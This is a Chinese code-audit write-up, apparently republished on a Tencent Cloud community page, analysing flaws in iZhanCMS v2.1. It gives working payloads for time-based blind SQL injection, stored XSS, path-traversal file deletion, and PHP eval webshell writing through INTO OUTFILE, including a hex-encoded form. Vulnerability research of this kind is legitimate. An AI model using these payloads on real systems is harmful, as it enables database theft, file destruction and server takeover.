前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【代码审计】iZhanCMS_v2.1 漏洞分析

【代码审计】iZhanCMS_v2.1 漏洞分析

作者头像
Bypass
发布2019-07-08 17:13:58
6320
发布2019-07-08 17:13:58
举报
文章被收录于专栏:BypassBypass

01

前言

爱站CMS是一款开源免费的CMS内容管理系统,具有开放灵活,安全高效,简洁美观!本次针对iZhanCMS_v2.1版本进行代码审计,发现代码中存在的安全漏洞。

02

环境搭建

iZhanCMS官网:http://www.izhancms.com

网站源码版本:爱站CMS(zend6.0) V2.1

程序源码下载:http://www.izhancms.com/category/Category/index/cid/1

默认后台地址:http://127.0.0.1/admin/admin/index

默认账号密码:admin 密码自设至少六位

03

前台SQL注入漏洞一

代码分析:

漏洞文件位置: /application/index/controllers/IndexController.php 第89-102行:

这段函数中将获取到的参数id,没有单引号保护,拼接到SQL语句中然后带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信

息。

漏洞利用:

根据漏洞位置,构造出时间盲注的Payload:http://127.0.0.1/index/index/qrcodePreview?id=2/**/xor/**/if(substring(user(),1,1)='2',sleep(5),0)--可直接使用SQLMAP获取数据库数据:

04

前台SQL注入漏洞二

代码分析:

漏洞文件位置:/application/goods/controllers/GoodsController.php 第68-96行

这段函数中将获取到的参数id,带入到getLinkgoodsid函数中查询,注意看第三个圈住

的地方,参数id拼接到SQL语句中,然后带入数据库执行,这个地方就存在SQL注

入。我们再来跟进getLinkgoodsid函数看一下:

漏洞文件位置:/application/goods/models/GoodsModel.php 第91-109行:

在这段函数中将获取到的参数id,同样拼接到SQL语句中,然后带入数据库执行。

综上,参数id在这里有两处SQL语句拼接,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞,获取数据库敏感信息。

漏洞利用:

根据漏洞位置,构造出时间盲注的Payload:

http://127.0.0.1/goods/Goods/info?id=2 xor if('2'='2',sleep(5),0)--

可直接使用SQLMAP来跑:

05

前台存储型XSS

太简单,代码分析就略过。

漏洞利用:

网站前台--意见和建议--留言人—提交Payload:222<script>alert(/xss/)</script>

当管理员在后台查看留言信息时,会触发js脚本代码。

06

后台多处SQL注入漏洞

代码分析:

漏洞文件位置一:/admin/application/extensions/controllers/QrcodeController.php

第235-246行:

这段函数中将获取到的参数id,拼接到SQL语句中,然后带入数据库执行,这个地方就存在SQL注入。

漏洞文件位置二:/admin/application/webset/controllers/ManagelogController.php

第33-57行:

漏洞文件位置三:/admin/application/webset/controllers/AdminuserController.php

第37-69行:

在这段函数中将获取到的参数keyword,未经任何过滤,同样拼接到SQL语句中,然后带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

基本后台所有的搜索框都存在类似的情况。

漏洞利用:

漏洞位置一 Payload:http://127.0.0.1/admin/extensions/qrcode/preview?id=2

可直接使用SQLMAP来跑:

位置二:登录后台--系统设置--日志管理--搜索--keyword

位置三:登录后台--权限设置--系统管理员--搜索--keyword

后台搜索框几乎都存在一样的问题,不一一去验证了。

07

后台任意文件删除漏洞

代码分析

漏洞文件位置:/admin/application/webset/controllers/DbrecoverController.php

跟进deleteTable函数:

漏洞文件位置:/admin/application/webset/models/TableModel.php

在这段函数中,获取到$save_path,进行处理,然后直接将$filen_path带入删除函数中执行,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件。

漏洞利用:

在根目录新建test.txt,作为漏洞测试文件

登录后台,提交Payload,删除根目录下的test.txt 文件

Payload:http://127.0.0.1/admin/webset/dbrecover/delete?tbname=../../../test.txt

08

后台Getshell

方式一:修改标签文件

登录后台--模板管理--标签管理--标签列表--修改tag.lib.php:

Payload:phpinfo();

访问 http://127.0.0.1/library/mainone/taglib/tags.lib.php 成功触发代码执行漏洞。

方式二:利用SQL语句写入webshell

登录后台—系统设置—数据库操作—SQL语句—执行SQL语句。

问题:输入的字符会进行html实体编码,因此使用传统的into outfile语句无法成功写入

文件

select '<?php eval($_POST[cmd]);?>' into outfile 'c:/www/222aaa.php' 写入失败

将一句话转化为Hex编码,构造Pyaload如下:

SELECT 111222 INTO OUTFILE 'E:/study/WWW/iZhanCMS/2222.php' LINES

TERMINATED BY 0x3C3F70687020406576616C28245F504F53545B2761275D293B3F3E –

成功写入webshell,控制网站服务器

09

总结

这是一次黑盒结合白盒的漏洞挖掘案例,相对会全面一点,有对这方面有研究的童鞋,欢迎来相互探讨,交流。

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-03-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Bypass 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档